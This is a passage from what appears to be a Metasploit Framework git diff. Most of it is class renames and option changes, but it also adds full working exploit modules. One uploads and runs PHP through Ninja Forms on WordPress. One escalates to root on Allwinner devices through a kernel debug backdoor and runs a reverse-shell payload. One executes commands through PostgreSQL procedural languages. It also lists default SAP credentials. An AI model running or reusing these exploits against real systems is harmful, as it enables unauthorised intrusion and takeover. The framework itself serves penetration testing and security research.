\{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce + + unless nonce + fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH') + end + + nonce + end + + def upload_payload(data) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("Server responded with status code #{res.code}") if res.code != 200 + end + + def execute_payload(payload_name, payload_url) + register_files_for_cleanup("nftmp-#{payload_name.downcase}") + res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + + if !res.nil? && res.code == 404 + print_error("Failed to upload the payload") + else + print_good("Executed payload") + end + end + + def exploit + # Vulnerable code is only available in the version 3 preview mode, which can be + # enabled by unauthenticated users due to lack of user level validation. + enable_v3_functionality + + # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any + # page that contains a form generated by Ninja Forms. + nonce = fetch_ninja_form_nonce + + print_status("Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") + data = generate_mime_message(payload_name, nonce) + + print_status("Uploading payload to #{payload_url}") + upload_payload(data) + + print_status("Executing the payload...") + execute_payload(payload_name, payload_url) + + # Once the payload has been executed, we can disable the preview functionality again. + disable_v3_functionality + end +end diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb index 4bbe7f9e23..ef9c0d12c8 100644 --- a/modules/exploits/multi/http/x7chat2_php_exec.rb +++ b/modules/exploits/multi/http/x7chat2_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index de4afd7a6a..f30690cf58 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index 57fdaadb76..5f6fb39320 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb index b22c77322b..5bba09e754 100644 --- a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb +++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index f82eb98b9a..0abf38123e 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 9fa8a71709..18fe64bc64 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -8,7 +8,7 @@ require 'msf/core/exploit/php_exe' require 'nokogiri' require 'uri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 04491e6dc0..75656d28c7 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Capture diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb new file mode 100644 index 0000000000..b37ff74a0d --- /dev/null +++ b/modules/exploits/multi/local/allwinner_backdoor.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + "Name" => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation", + "Description" => %q{ + This module attempts to exploit a debug backdoor privilege escalation in + Allwinner SoC based devices. + Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 + Vulnerable OS: all OS images available for Orange Pis, + any for FriendlyARM's NanoPi M1, + SinoVoip's M2+ and M3, + Cuebietech's Cubietruck + + Linksprite's pcDuino8 Uno + Exploitation may be possible against Dragon (x10) and Allwinner Android tablets + }, + "License" => MSF_LICENSE, + "Author" => + [ + "h00die ", # Module + "KotCzarny" # Discovery + ], + "Platform" => [ "android", "linux" ], + "DisclosureDate" => "Apr 30 2016", + "DefaultOptions" => { + "payload" => "linux/armle/mettle/reverse_tcp" + }, + "Privileged" => true, + "Arch" => ARCH_ARMLE, + "References" => + [ + [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"], + [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \ + "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"], + [ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"] + ], + "SessionTypes" => [ "shell", "meterpreter" ], + 'Targets' => + [ + [ 'Auto', { } ] + ], + 'DefaultTarget' => 0, + )) + end + + def check + backdoor = '/proc/sunxi_debug/sunxi_debug' + if file_exist?(backdoor) + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + backdoor = '/proc/sunxi_debug/sunxi_debug' + if file_exist?(backdoor) + pl = generate_payload_exe + + exe_file = "/tmp/#{rand_text_alpha(5)}.elf" + vprint_good "Backdoor Found, writing payload to #{exe_file}" + write_file(exe_file, pl) + cmd_exec("chmod +x #{exe_file}") + + vprint_good 'Escalating' + cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}") + else + print_error "Backdoor #{backdoor} not found." + end + end +end diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 5f709764b8..7e0ddefcb7 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index e1b3ec975e..86db120167 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb index fcecbbebdf..88087b8139 100644 --- a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb +++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 01ea41fc06..5161aa9cc8 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index ecb6560c47..99f3775b53 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index 2304aa8855..412626afd9 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 2823fe48f0..b5149373ed 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index de41281438..6a5942c984 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Java::Rmi::Client diff --git a/modules/exploits/multi/misc/legend_bot_exec.rb b/modules/exploits/multi/misc/legend_bot_exec.rb index ab1dd0e15b..fe8127cd92 100644 --- a/modules/exploits/multi/misc/legend_bot_exec.rb +++ b/modules/exploits/multi/misc/legend_bot_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index c15c193ead..1c27b58489 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 1dab5491c3..26465c6334 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb index 501df43124..d2bca2ffd0 100644 --- a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb +++ b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index ed53e0b7f2..6307eda55d 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index b20a74ef78..4882496650 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index 9681bb3da0..3691b10e28 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index ee804483e5..b481303f09 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 18db711cc3..6b0159a527 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 8e3c0fda70..129fe038fc 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index a433889c5e..2a361b807f 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb index 5b0e336fc0..6f5190ac45 100644 --- a/modules/exploits/multi/ntp/ntp_overflow.rb +++ b/modules/exploits/multi/ntp/ntp_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index a6883a67ca..c609ef77bf 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/postgres/postgres_createlang.rb b/modules/exploits/multi/postgres/postgres_createlang.rb new file mode 100644 index 0000000000..1935695c10 --- /dev/null +++ b/modules/exploits/multi/postgres/postgres_createlang.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/postgres' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Postgres + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PostgreSQL CREATE LANGUAGE Execution', + 'Description' => %q( + Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. + Most commonly this is Perl and Python. When enabled, command execution is possible on the host. + To execute system commands, loading the "untrusted" version of the language is necessary. + This requires a superuser. This is usually postgres. The execution should be platform-agnostic, + and has been tested on OS X, Windows, and Linux. + + This module attempts to load Perl or Python to execute system commands. As this dynamically loads + a scripting language to execute commands, it is not necessary to drop a file on the filesystem. + + Only Postgres 8 and up are supported. + ), + 'Author' => [ + 'Micheal Cottingham', # author of this module + 'midnitesnake', # the postgres_payload module that this is based on, + 'Nixawk' # Improves the module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'], + ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'], + ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html'] + ], + 'Platform' => %w(linux unix win osx), + 'Payload' => { + 'PayloadType' => %w(cmd) + }, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 1 2016' + )) + + register_options([ + Opt::RPORT(5432) + ]) + + deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') + end + + def postgres_major_version(version) + version_match = version.match(/(?\w{10})\s(?\d{1,2})\.(?\d{1,2})\.(?\d{1,2})/) + version_match['major_version'] + end + + def check + if vuln_version? + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def vuln_version? + version = postgres_fingerprint + if version[:auth] + major_version = postgres_major_version(version[:auth]) + return true if major_version && major_version.to_i >= 8 + end + false + end + + def login_success? + status = do_login(username, password, database) + case status + when :noauth + print_error "#{peer} - Authentication failed" + return false + when :noconn + print_error "#{peer} - Connection failed" + return false + else + print_status "#{peer} - #{status}" + return true + end + end + + def load_extension?(language) + case load_procedural_language(language, 'LANGUAGE') + when :exists + print_good "#{peer} - #{language} is already loaded, continuing" + return true + when :loaded + print_good "#{peer} - #{language} was successfully loaded, continuing" + return true + when :not_exists + print_status "#{peer} - #{language} could not be loaded" + return false + else + vprint_error "#{peer} - error occurred loading #{language}" + return false + end + end + + def exec_function?(func_name) + query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')" + select_query = postgres_query(query) + + case select_query.keys[0] + when :conn_error + print_error "#{peer} - Connection error" + return false + when :sql_error + print_warning "#{peer} - Unable to execute query: #{query}" + return false + when :complete + print_good "#{peer} - Exploit successful" + return true + else + print_error "#{peer} - Unknown" + return false + end + end + + def create_function?(language, func_name) + load_func = '' + + case language + when 'perl' + query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" + query << "`$_[0]`;" + query << "$$ LANGUAGE pl#{language}u" + load_func = postgres_query(query) + when /^python(?:2|3)?/i + query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" + query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r" + query << "$$ LANGUAGE pl#{language}u" + load_func = postgres_query(query) + end + + case load_func.keys[0] + when :conn_error + print_error "#{peer} - Connection error" + return false + when :sql_error + print_error "#{peer} Exploit failed" + return false + when :complete + print_good "#{peer} - Loaded UDF (exec_#{func_name})" + return true + else + print_error "#{peer} - Unknown" + return false + end + end + + def load_procedural_language(language, extension) + query = "CREATE #{extension} pl#{language}u" + load_language = postgres_query(query) + return :loaded unless load_language.keys[0] == :sql_error + + match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m) + return :exists if match_exists + + match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m) + return :not_exists if match_error + end + + def do_login(user, pass, database) + begin + password = pass || postgres_password + result = postgres_fingerprint( + db: database, + username: user, + password: password + ) + + return result[:auth] if result[:auth] + print_status "#{peer} - Login failed" + return :noauth + + rescue Rex::ConnectionError + return :noconn + end + end + + def exploit + return unless vuln_version? + return unless login_success? + + languages = %w(perl python python2 python3) + languages.each do |language| + next unless load_extension?(language) + func_name = Rex::Text.rand_text_alpha(10) + next unless create_function?(language, func_name) + if exec_function?(func_name) + print_warning "Please clear extension [#{language}]: function [#{func_name}] manually" + break + end + end + postgres_logout if @postgres_conn + end +end diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index c6134b819a..5cb8006f8e 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/http/client' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 6f1f3652da..55bce31106 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index 24a37cc018..273535b2d3 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index da27883df6..4143c99639 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] } @@ -77,7 +77,7 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) register_advanced_options( [ - OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']), + OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 7500]), ], self.class) register_autofilter_ports([ 50013 ]) end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 5f19e6518f..5d0a2bec96 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -83,8 +83,8 @@ class Metasploit4 < Msf::Exploit::Remote [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']) + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']) ], self.class) register_advanced_options( [ @@ -97,7 +97,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 3317ebcd9a..32c8b9fc3e 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -84,8 +84,8 @@ class Metasploit4 < Msf::Exploit::Remote [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']) + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']) ], self.class) register_advanced_options( [ @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index ffeb54e5a4..41da8cee0b 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Powershell @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, - use_single_quotes: true + exec_in_place: true ) else data = %Q(#{payload.encoded} ) diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 51a57cbc44..891d07e138 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::SSH attr_accessor :ssh_socket @@ -100,14 +101,15 @@ class Metasploit3 < Msf::Exploit::Remote end def do_login(ip, user, pass, port) + factory = ssh_socket_factory opt_hash = { :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, :port => port, - :disable_agent => true, + :use_agent => false, :config => false, - :password => pass + :password => pass, + :proxy => factory, + :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index 7f5a0f9234..db88821c4f 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/http/client' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Brute diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index d7b0a59908..668405d446 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking def initialize(info = {}) diff --git 